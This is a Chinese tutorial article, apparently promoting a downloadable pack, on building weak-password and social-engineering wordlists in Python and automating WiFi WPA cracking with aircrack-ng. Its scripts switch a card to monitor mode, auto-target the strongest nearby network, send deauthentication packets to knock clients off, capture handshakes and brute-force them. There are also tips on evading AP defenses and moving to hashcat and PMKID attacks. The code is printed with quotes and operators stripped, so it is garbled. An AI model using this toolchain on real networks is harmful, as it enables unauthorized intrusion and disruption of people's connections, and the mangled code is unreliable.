ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

Python实战:构建弱口令字典与WiFi密码破解工具链

Python实战:构建弱口令字典与WiFi密码破解工具链 简介这是一套面向Python学习者和安全测试初学者的密码字典与破解脚本组合包围绕常见弱口令和少量英文密码整理出可复用的字典并提供WiFi密码破解脚本方便在本地实验环境或授权测试场景中练习Python脚本编写与基础渗透思路。资源以zip压缩包形式提供共2个文件txt密码字典涵盖高频弱口令与英文密码py脚本承担WiFi密码的自动化测试整个压缩包仅14KB内容轻量、结构简单便于快速下载与二次修改。目前已有10524人学习/下载这一主题在入门安全测试学习者中关注度较高。借助这份资料读者可以直接获得一份可扩展的密码字典并通过Python脚本观察密码尝试流程随后根据实验需求扩充词条、调整参数用于授权的密码安全检测与弱口令加固训练。1. 用Python把弱口令字典和WiFi口令检测串成一套能落地的工具如果你做过内网安全测试一定遇到过这样的场景翻出几台旧路由器、摄像头或者打印机管理员密码早就没人记得设备挂着默认口令在跑。掏出一份现成的弱口令字典却发现里面全是admin、123456这种老面孔跑完一轮一无所获。问题几乎都出在字典本身——要么太大跑不完要么太小覆盖不到目标。这篇笔记要讲的就是我自己一直在用的一套组合方案先用Python按目标场景生成和裁剪一份“弱口令少量英文”的密码字典再配合WiFi密码破解脚本把从生成字典到抓握手包、跑包验证的完整链路打通。适合安全测试入门者、网络运维和喜欢折腾旧设备的人照着改就能用。2. 弱口令字典的设计逻辑先搞懂口令是怎么被“猜”出来的2.1 字典攻击和暴力破解的根本区别为什么字典不是越全越好很多人一开始把字典攻击和暴力破解混为一谈。暴力破解是拿字符集做笛卡尔积从aaaa到ZZZZ理论上一定能跑出来但代价是指数级的组合数。拿8位纯小写字母来说26的8次方超过2000亿就算每秒验证1万个口令也要跑两年多。字典攻击的思路完全不同——它赌的是“人类设密码的习惯”。大部分人在设口令时会复用熟悉词、生日、手机号、键盘相邻键这些口令出现的概率远高于随机串。一份好的弱口令字典是要把概率最高的前几万条口令捞出来而不是拿全量组合去堆。所以“越全越好”是新手最容易踩的坑。网上动不动几个GB的字典包看起来气势很足实际上跑包的时候你会发现90%的时间浪费在低频垃圾口令上。真实的测试场景里目标路由器和设备的管理口令就是那一批高频弱口令与其跑几个GB的“大全”不如针对目标类型准备1万到5万条的精准字典。字典攻击的命中率不取决于字典有多大取决于它是否符合目标人群的设密习惯。2.2 常见弱口令的统计规律Top口令里藏着哪些共性我整理过多次授权测试的命中记录弱口令的分布其实相当有规律。Top 10几乎永远是那一批admin、123456、password、12345678、admin123、root、123456789、guest、admin888、1234。这些口令之间有一个明显的共性要么是默认管理账号直接拿来当密码要么是键盘顺序12345678、要么是单词加简单数字后缀admin123。再往下看还能分出几条更细的规律。第一纯数字口令占了大头但位数集中在6到8位很少见到9位以上的纯数字弱口令——人记不住那么长的纯数字。第二英文单词几乎永远是小写且是常用词admin、root、guest、test、office、wifi、router、link、telecom。第三单词和数字组合时数字基本贴在单词尾部admin123、root123、wifi123极少有人把数字插在单词中间。第四品牌词和型号词高频出现tplink、dlink、huawei、zte 这类厂商名直接当密码的案例在路由器上非常常见。这些规律直接决定了字典的构造方式。拿“少量英文”来说不是随便扔几个英文词进去而是要把“设备类型英文词品牌词常见弱口令词”按设备的语境去组合。跑家用路由器tplink、wifi、router、admin、guest 这些词要重点保留跑企业设备admin、root、cisco、huawei、test 这类要放前面。2.3 英文字典和弱口令的合并策略怎么裁剪出“少量英文”的有效部分合并字典时最忌讳直接做文件拼接然后把去重逻辑丢给跑包工具。我一般会把字典按来源分成三到四类每一类单独生成最后统一合并、去重、排序、截断。基础弱口令集人工维护的几百条绝对高频弱口令比如空口令、admin、password、123456 这一批不用多500到1000条足够。数字规则集纯数字6到8位里按高频模式生成重点保留123456、888888、666666、1314520 这一批不要全量跑。英文弱口令集一小批安全测试常用的英文词控制在100到200个词包含admin、root、guest、operator、admin123 这类。品牌组合集按目标设备类型生成厂家名加数字的变体tplink、dlink、tenda、huawei、xiaomi 加123、888、admin 这些后缀。合并时要按“概率从高到低”排序而不是按字典序。这个顺序非常重要因为跑包是按顺序验证的大多数目标会在前几千条就命中你完全没必要让它在几万条之后才碰到真正的口令。我自己的经验是一份1万条左右的合并字典前2000条就能覆盖大部分家用设备弱口令场景。排序的维度按“人工高频弱口令 品牌词组合 英文词数字 规则数字”来安排比纯字母表排序的命中速度快得多。3. 用Python生成和筛选弱口令字典三套可直接改的生成脚本3.1 基础字典生成器从纯数字、生日到简单英文组合这一节直接给能跑的脚本。下面的代码会生成三种基础口令纯数字6到8位的高频模式、常见生日组合、简单英文加数字后缀。代码里用规则白名单的方式控制规模避免把全量组合写死进文件。def generate_numeric_weak(): 生成数字弱口令高频模式 连续键盘 重复数字 patterns [] # 连续递增/递减序列去掉9位以上 for i in range(10): for length in (4, 5, 6): seq .join(str((i j) % 10) for j in range(length)) patterns.append(seq) patterns.append(seq[::-1]) # 重复数字888888、666666 这类 for digit in 0123456789: for length in (4, 5, 6): patterns.append(digit * length) # 高频社会数字1314520、5201314 等 patterns.extend([1314520, 5201314, 521521, 000000, 123123]) # 去重并按数字长度排序短的排前面 seen set() result [] for p in patterns: if p not in seen: seen.add(p) result.append(p) return sorted(result, keylambda x: (len(x), x)) def generate_birthday(): 生日弱口令覆盖常用年月日排列组合 birthdays [] months [01, 02, 03, 04, 05, 06, 07, 08, 09, 10, 11, 12] days [01, 02, 03, 04, 05, 06, 07, 08, 09, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31] years [1970, 1980, 1985, 1990, 1995, 2000, 2005, 1998, 1999, 2001, 2002, 1988, 1989, 1991, 1992] # 常见写法纯8位日期、月日年、年月日 for y in years: for m in months: for d in days: birthdays.append(y m d) # 19900101 birthdays.append(m d y) # 01011990 birthdays.append(y[2:] m d) # 900101 # 去掉年份只留月日用于部分设备短口令 for m in months: for d in days: birthdays.append(m d) # 0101 return list(dict.fromkeys(birthdays)) # 去重保持顺序逻辑说明第一部分用“规则枚举”代替全量暴力。连续序列里我生成了从每个数字起始的长度4到6的递增和递减串覆盖1234、12345、98765这类键盘顺序口令。重复数字段只取4到6位因为实测中纯重复3位以下太短很少出现在设备密码里7位以上也不是弱口令的高频区。生日部分控制了年份范围只保留1970到2005之间最常见于当代设备管理者的出生年份段避免生成1988后面跟着所有月份这种过度膨胀。参数说明年份列表的15个值是你最需要根据目标人群调整的。如果你在测校园网设备把年份往2000到2010偏移。如果你在测老旧工业设备1970到1985才是主力。months和days保留了全量是因为日期分布相对均匀学费不贵。monthday短口令只有两位在部分老型号路由器上命中率意外地高。3.2 社工信息混合字典把姓名、手机、门牌号揉进口令池对个人目标设备做测试时纯规则口令经常失效因为口令里混入了目标的个人信息。做一个社工字典生成器输入目标的基础信息输出一堆排列组合。import itertools def generate_social_dict(name, phone, birthday, company): 基于社工信息生成口令组合 参数说明 - name: 目标姓名拼音小写如 zhangwei - phone: 手机号后4位或完整手机号如 13800138000 或 8000 - birthday: 生日8位如 19900101 - company: 公司名拼音可留空 输出按概率排序名字数字 生日变体 手机切片 base_words [name, name.upper(), name.capitalize()] if company: base_words.append(company) base_words.append(company name) # 手机号切成后4位、后6位、完整号 phone_parts [] if len(phone) 11: phone_parts.extend([phone[-4:], phone[-6:], phone[3:]]) # 去前缀的8位 else: phone_parts.append(phone) results [] suffix_nums [123, 1234, 12345, 666, 888, 520, 1, 0] # 第一优先级名字高频数字后缀 for w in base_words: for sn in suffix_nums: results.append(w sn) results.append(sn w) # 第二优先级生日变体 y, m, d birthday[:4], birthday[4:6], birthday[6:8] results.append(y m d) results.append(m d y) results.append(y[2:] m d) results.append(name y[2:]) results.append(name.capitalize() y[2:]) # 第三优先级名字手机切片 for p in phone_parts: results.append(name p) results.append(p name) # 第四优先级原样单词和简单拼接 results.extend([name, name name, company 123, company 888]) return list(dict.fromkeys(results))逻辑说明这段代码的核心假设是“口令通常由一到两个语义块拼接而成”。名字是一块数字是一块拼接顺序要么数字在后要么数字在前。所以我用suffix_nums控制了最受欢迎的一批数字后缀而不是把000到999全跑一遍。birthday被拆成年月日三个变量组合成人最常写的三种日期格式。手机号只保留后4位、后6位和去前缀的8位因为前3位运营商号段没有任何口令价值。参数说明name的大小写变体很重要很多人设密码会下意识把首字母大写这是拼音输入法留下的肌肉记忆。company是可选参数但如果你在测企业内网设备公司拼音加123这类口令的命中率排在所有规则的前三名。注意这段代码输出规模不大通常只有几百条它的定位是作为补充字典叠加到主字典之上而不是单独使用。3.3 合并去重与规则筛选三个必调参数长度、字符集、命中优先生成完多份字典后需要统一做一轮合并和筛选。这一步直接决定最终字典文件的质量。def merge_and_filter(dict_files, min_len6, max_len12, top_n10000, keep_alphaTrue, keep_digitTrue): 合并多份字典并做规则筛选 参数说明 - dict_files: 输入字典文件路径列表 - min_len / max_len: 口令长度边界默认保留6到12位 - top_n: 保留前N条按原始文件顺序出现频次排序 - keep_alpha: 是否保留含英文字母的口令 - keep_digit: 是否保留含数字的口令 返回筛选后的口令列表 from collections import Counter line_counter Counter() merged [] for f in dict_files: with open(f, r, encodingutf-8, errorsignore) as fp: for line in fp: pwd line.strip() if not pwd: continue # 长度过滤 if not (min_len len(pwd) max_len): continue # 字符集过滤 has_alpha any(c.isalpha() for c in pwd) has_digit any(c.isdigit() for c in pwd) if keep_alpha and not has_alpha: continue if keep_digit and not has_digit: continue line_counter[pwd] 1 merged.append(pwd) # 按出现次数降序再按原文保序实现“高频优先” ordered [] for pwd, cnt in line_counter.most_common(): ordered.append(pwd) if len(ordered) top_n: break return ordered # 使用示例合并数字字典、生日字典、社工字典 final_dict merge_and_filter( [numeric.txt, birthday.txt, social.txt], min_len6, max_len12, top_n8000, keep_alphaTrue, keep_digitTrue ) with open(wifi_weak_dict.txt, w, encodingutf-8) as fp: fp.write(\n.join(final_dict))逻辑说明这里的核心在Counter.most_common()——它统计每条口令在多个输入文件中出现的次数出现次数越多说明它被不同规则命中的概率越高也就越可能是真实弱口令。这就是“命中优先”的含义不是按字母排是按规则覆盖度排。长度过滤把过短的很多协议有最小口令长度限制和过长的人记不住都剪掉了。字符集过滤可以单独关掉alpha或digit如果你明确知道目标设备不支持字母口令可以只留keep_alphaFalse。参数说明top_n是最敏感的参数。家用路由器场景8000条足够覆盖绝大多数情况企业设备可以放宽到20000但再大就失去字典的意义了——你直接用暴力破解可能还快些。min_len建议至少设6WPA2-PSK协议本身要求8位以上纯数字也要8位但很多老设备的web管理口令允许4位以上所以这里要看你跑的是哪个协议。如果目标是WPA握手包长度过滤放在8位以上更合理。3.4 字典文件的组织方式按场景分文件不搞一个“万能字典”最后讲字典文件的组织。很多人的习惯是维护一个超级大的字典文件不管测什么设备都拿它去跑。这个习惯我强烈不建议。不同场景的目标口令分布差异非常大家用路由器Top 10里有guest和admin888企业交换机Top 10里是admin、enable、cisco、huawei摄像头则大量使用纯数字和admin组合。一份“万能字典”最终会变成“万不能字典”。我自己的习惯是按四个维度拆文件目标类型路由器/摄像头/服务器/工控设备、口令长度段4到6位短口令、8到12位标准口令、是否包含字母纯数字字典、字母数字混合字典、品牌专属字典tplink、huawei、cisco 各一份。跑目标之前先按设备类型快速选字典命中率差一个量级。目录结构大概是这样的你可以直接照搬dict/ ├── router/ │ ├── router_common.txt # 通用家用路由器弱口令 │ ├── router_tplink.txt # tplink/dlink 品牌专项 │ └── router_huawei.txt # huawei/zte 品牌专项 ├── camera/ │ ├── camera_pure_digit.txt # 摄像头常见纯数字 │ └── camera_admin.txt # 摄像头 admin 系口令 ├── server/ │ ├── server_root.txt # root/ssh 弱口令 │ └── server_oracle.txt # 数据库弱口令 └── social/ └── social_worker.txt # 社工信息生成按目标覆盖这样组织的好处是你在第4章的WiFi破解脚本里可以按目标SSID特征快速指定字典而不是每次跑一个几万行的大杂烩文件。4. WiFi密码破解脚本从网卡监听模式到握手包验证的完整链路4.1 先认清硬件边界支持监听模式的网卡和驱动环境WiFi密码破解不是纯软件能搞定的事硬件的边界卡得非常死。你的无线网卡必须支持监听模式monitor mode普通笔记本内置网卡百分之九十都不行或者驱动层被系统锁死了。常见可用的方案是外接USB无线网卡芯片方案以Realtek RTL8812AU、RTL8821AU、Atheros AR9271这三类居多。操作系统上建议直接用Linux发行版或者装在虚拟机里给网卡做USB直通。Windows几乎不要指望自带网卡驱动不支持monitor模式pywifi在Windows上只能做扫描测试抓握手包这一步走不通。我自己常年用Ubuntu 22.04 RTL8812AU的网卡组合。装驱动时注意内核版本匹配新内核5.15以上对8812AU的兼容性参差不齐翻车率最高的就是这个环节。4.2 抓取WPA握手包用Python编排aircrack-ng套件的思路抓握手包的正确姿势是先把网卡切到monitor模式然后扫描周围的AP锁定目标监听抓包直到某个客户端和AP之间发生重新认证握手。如果目标AP附近没有活跃客户端你还需要先发deauth包把客户端打掉线再等它重连这时握手包就出现了。下面的Python脚本用subprocess调用aircrack-ng套件完成从扫描到抓包的自动化。注意这不是“直接破解密码”的脚本而是“帮你抓到手包再交给你跑字典”的流程脚本。import subprocess import time import os import sys def run_cmd(cmd): 执行shell命令并实时打印输出 proc subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue) for line in proc.stdout: print(line, end) proc.wait() def enable_monitor_mode(ifacewlan0): 将无线网卡切换到监听模式 print(f[*] 关闭 {iface} 网络管理...) run_cmd(fsudo airmon-ng stop {iface}) run_cmd(fsudo ip link set {iface} down) run_cmd(fsudo iw dev {iface} set type monitor) run_cmd(fsudo ip link set {iface} up) print(f[*] {iface} 已进入监听模式) def scan_networks(ifacewlan0mon, duration30): 扫描周围WiFi输出BSSID、信道、SSID print(f[*] 开始扫描 {duration} 秒...) run_cmd(fsudo timeout {duration} airodump-ng {iface} -w scan_result --output-format csv) # 解析CSV获取目标AP的BSSID和信道 import csv aps [] with open(scan_result-01.csv, r, encodingutf-8, errorsignore) as f: for row in csv.reader(f): if len(row) 14 and WPA in row[13] and row[0].strip(): aps.append({ bssid: row[0].strip(), channel: row[3].strip(), ssid: row[13].strip(), signal: row[8].strip() }) return aps def capture_handshake(iface, bssid, channel, outputhandshake, timeout120): 锁定目标抓握手包 参数 - bssid: 目标AP的MAC地址 - channel: 目标AP的信道 - timeout: 最长等待秒数超过自动退出 # 先锁定信道监听 cmd (fsudo timeout {timeout} airodump-ng {iface} f-d {bssid} -c {channel} -w {output} --ignore-negative-one) proc subprocess.Popen(cmd, shellTrue) # 等待15秒让监听稳定如果没有客户端活动就发deauth time.sleep(15) print(f[*] 检查是否有客户端活动15秒后可能发送deauth) # 发送deauth包打断客户端连接促使重握手 run_cmd(fsudo aireplay-ng -0 3 -a {bssid} {iface}) # 等待抓包完成 proc.wait() # 检查是否抓到握手包 cap_file f{output}-01.cap result subprocess.run(fsudo aircrack-ng {cap_file} | grep handshake, shellTrue, capture_outputTrue, textTrue) if handshake in result.stdout: print(f[] 握手包已抓到{cap_file}) return cap_file else: print([-] 未抓到握手包可重试或延长监听时间) return None逻辑说明enable_monitor_mode用airmon-ng做标准切换流程先停掉网络管理是必须的否则NetworkManager会把网卡拉回managed模式。scan_networks用timeout限制airodump-ng的运行时长然后解析CSV拿BSSID、信道和SSID。capture_handshake先开监听等15秒看有没有现成的客户端重连如果没有就发deauth包强制客户端掉线重连这就是主动触发握手的标准做法。参数说明timeout建议用90到180秒太短可能目标设备刚好休眠太长浪费在空等上。deauth的发送数量3包就够发太多会显得异常可能被AP的防攻击机制屏蔽。capture_handshake函数里解析握手包用的是aircrack-ng命令的文本输出如果显示WPA handshake字样就说明抓到了这个判断逻辑在自动化脚本里非常实用。4.3 字典跑包验证命中口令的判定与输出抓到手包后跑包验证这一步相对简单但要选对工具并且理解输出结果。def crack_handshake(cap_file, wordlistwifi_weak_dict.txt): 用字典跑握手包 参数说明 - cap_file: 抓到的握手包文件wireshark能打开的.cap格式 - wordlist: 第3章生成的字典文件路径 返回命中口令或None print(f[*] 开始跑包字典{wordlist}) cmd fsudo aircrack-ng {cap_file} -w {wordlist} -q # -q安静模式 proc subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue) for line in proc.stdout: # aircrack-ng命中时会打印 KEY FOUND! 行 if KEY FOUND in line or KEY FOUND! in line: # 解析类似 [KEY FOUND!] [password] pwd line.split(])[-1].strip().strip([]) print(f[] 命中口令{pwd}) return pwd print([-] 字典未命中换字典或扩大规则) return None逻辑说明aircrack-ng跑包的核心是读.cap文件里的握手包PMK数据再用字典里的每条口令做PBKDF2运算算出的PMK和抓到的PMK匹配即为命中。这个过程的计算量主要在PBKDF2的迭代次数WPA2默认4096次所以跑包速度和CPU浮点能力直接挂钩。用-q安静模式是为了让Python脚本更容易从stdout中定位命中的那行。参数说明wordlist建议直接用第3章脚本生成的文件第一次先跑8000条的没命中再换大字典。aircrack-ng对批量跑包不够高效如果字典超过5万条建议改为把握手包转成hashcat格式用GPU跑。但那是进阶话题第6章我会讲。4.4 脚本的完整骨架扫描、抓包、跑字典三段式把上面的函数串起来就是完整的执行流程。注意用量判断加在deauth和跑包环节——断网重连、轮询信道这些姑且不提。def main(): iface wlan0 enable_monitor_mode(iface) mon_iface iface mon # 部分网卡monitor模式下的接口名 if not os.path.exists(f/sys/class/net/{mon_iface}): mon_iface iface # 有的驱动不生成mon后缀 aps scan_networks(mon_iface, duration30) if not aps: print([-] 未扫描到WPA网络检查网卡监听模式是否正常) return # 选中信号最强的目标按signal字段数值排序 aps.sort(keylambda x: int(x[signal]), reverseTrue) target aps[0] print(f[*] 目标选为{target[ssid]} ({target[bssid]}) 信道 {target[channel]}) cap_file capture_handshake(mon_iface, target[bssid], target[channel]) if not cap_file: return crack_handshake(cap_file, wifi_weak_dict.txt)逻辑说明main函数把流程串成三步扫描、选目标、抓包、跑包。这里有几个小的工程细节值得注意。一是monitor模式后的接口名并不总是wlan0mon有的驱动直接用wlan0所以脚本里做了存在性检查。二是按信号强度排序时airodump-ng输出的信号列是负dBm值越接近0信号越强所以排序要用reverseTrue。三是整个脚本需要root权限执行因为airmon-ng、airodump-ng、aireplay-ng全部要求root。上面这段脚本的完整版就是标题里说的“附赠WiFi密码破解脚本”。脚本本身不复杂核心价值是把抓握手包的时序逻辑——切监听、扫描、选目标、deauth触发重连、验证握手、跑字典——固化成了可重复执行的流程。新人最容易翻车的就是忘记deauth这一步干等半天一个握手包都抓不到。5. 跑字典最常翻车的5个坑现象、原因、处置5.1 现象网卡切到monitor模式后立刻掉回managed或者完全扫不到信号原因驱动没装好或者系统NetworkManager在捣乱。ubuntu里NetworkManager默认会自动接管无线网卡airmon-ng停掉它之后某些内核版本会在几秒后自动重启网络服务把网卡拉回去。还有一部分原因是网卡的USB芯片供电不稳插在USB 3.0口反而比USB 2.0口更容易掉线。解决先执行airmon-ng check kill把干扰进程一次清干净再走一遍切monitor的流程。如果还是掉检查dmesg看驱动有没有报固件加载失败。USB供电问题就换口、换线或者加一个有源的USB Hub。这个坑在所有无线安全测试排障里排第一百分之八十的“扫不到网络”最后都是硬件链路问题。5.2 现象airodump-ng能看到目标AP但监听半天抓不到握手包原因目标AP附近没有活跃客户端或者客户端全部处于静默状态。家用路由器普遍有多个设备连接但如果你在测的是一台闲置的IoT设备或者半夜里的办公网络客户端很可能已经休眠很久没有任何重新认证的时机。解决这个场景下必须主动发deauth包打断客户端连接。我在capture_handshake里已经加了自动发3包deauth的逻辑但要注意发给谁。如果未知客户端可以先在airodump-ng输出里看STATION列找到信号最强的客户端MAC把deauth定向发给它比发给广播地址的命中率高很多。实际测试中广播deauth有些驱动不生效定向打客户端基本100%会触发重连。5.3 现象字典跑完了显示not found但同一份字典换台机器或者加了几条口令就命中了原因大概率是字典的口令排序问题弱口令被埋到了后面。很多跑包工具是严格按字典文件顺序逐条验证的如果前5000条都没覆盖到目标的真实口令哪怕后面第8000条就是对的你也会先看到not found。另一个常见原因是长度过滤设得太死目标路由器口令是个10位的“强口令”你只保留了6到8位的字典。解决回炉字典把排序逻辑改成“高频优先”。用我第3章里merge_and_filter函数重新生成字典人工维护的Top弱口令永远排在最前面。同时确认你的min_len和max_len覆盖了路由器的密码策略区间。WPA2-PSK口令最短8位一些老设备甚至允许4位但很多家用路由器的初始密码是10位以上的数字组合这种情况纯弱口令字典本来就打不中不要浪费太多时间。5.4 现象cap文件抓到了但aircrack-ng提示 No matching WPA handshake原因抓到的cap里存的是若干帧的混杂包但其中没有包含完整的四次握手信息。很多新手以为只要抓到了EAPOL帧就算握手包实际上必须抓到至少一个完整的客户端到AP的EAPOL Message 2并配合AP回应的Message 3才行。监听时间太短或者把监听信道设错了都可能只抓到半截。解决先用Wireshark打开cap文件过滤eapol看有没有成对的M1/M2或M3/M4。如果没有回到抓包步骤延长监听时间到120秒以上同时把deauth的包数从3加到5。还有一个容易忽略的原因目标AP和客户端都在5GHz频段而你的网卡只支持2.4GHz监听。aircrack-ng会对这种情况报错用iw phy看网卡的band能力就能确认。5.5 现象字典文件有10万条跑包跑了几个小时才跑完命中率还很低原因字典质量太差纯靠堆量。很多人从网上下载几GB的“超全字典”里面塞满各种语言词库、URL、随机串——这些内容对WiFi口令几乎没有任何覆盖价值。WPA2跑包是PBKDF2计算密集型任务CPU单核每秒大概只能验证几百到一千条口令几GB的字典跑几天都跑不完。解决严格控制字典规模和排序。一台四核CPU的机器跑1万条字典大约需要5到15分钟2万条就到半小时量级了这是可以接受的时长。超过5万条就该考虑用hashcat切到GPU跑包。但比GPU更重要的是先做场景选字典——针对家用路由器跑品牌词admin系列组合命中率远高于跑几十万条的全量混拼。另外不要在一个字典上死磕半小时以上用多个针对性小字典轮流跑效率更高。6. 验证与进阶拿自己的路由器把整套流程练到顺手在投入真实测试之前建议先用自己的设备做一轮完整验证把流程打磨到不需要看输出提示也能猜出下一步。找一个闲置的家用路由器把密码设成admin123456这种典型的弱口令然后用第4章的脚本完整跑一遍扫描、抓包、跑包。验证的里程碑有三个第一能稳定切到monitor模式并连续扫描30秒不退出第二能够在发出deauth之后30秒内抓到包含完整EAPOL握手的cap文件第三字典里设置的一条已知弱口令能被准确跑出来。这个验证过程至少要做三遍每换一个环境换网卡、换路由器、换供电方式都必须重测。因为WiFi环境的变量太多信道干扰、客户端活跃度、驱动版本都会让抓包行为千差万别只有多练才能建立直觉。进阶方向有两个。一是把跑包引擎从aircrack-ng切到hashcat用GPU并行计算处理5万条以上的字典时性能能快几十倍。核心思路是用cap2hashcat把cap文件转成hashcat的22000格式然后按掩码或字典跑。二是从抓握手包转向PMKID攻击在部分支持PMKID的路由器上可以直接离线计算PSK不需要等客户端握手效率高很多。这两个方向都值得单独研究但它们的前提是你已经熟练掌握了这一套弱口令字典的处理手法——字典质量永远是决定成败的第一因素。我个人的习惯是把所有用过的字典文件按日期归档每次实战后记录“目标类型命中口令”定期回填到基础弱口令集里。已经试过了跑自己的路由器练手是性价比最高的学习方式——多练几次你会对“什么样的口令最常出现”建立直觉这是任何现成字典都给不了的经验。希望帮到你。本文还有配套的精品资源点击获取
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表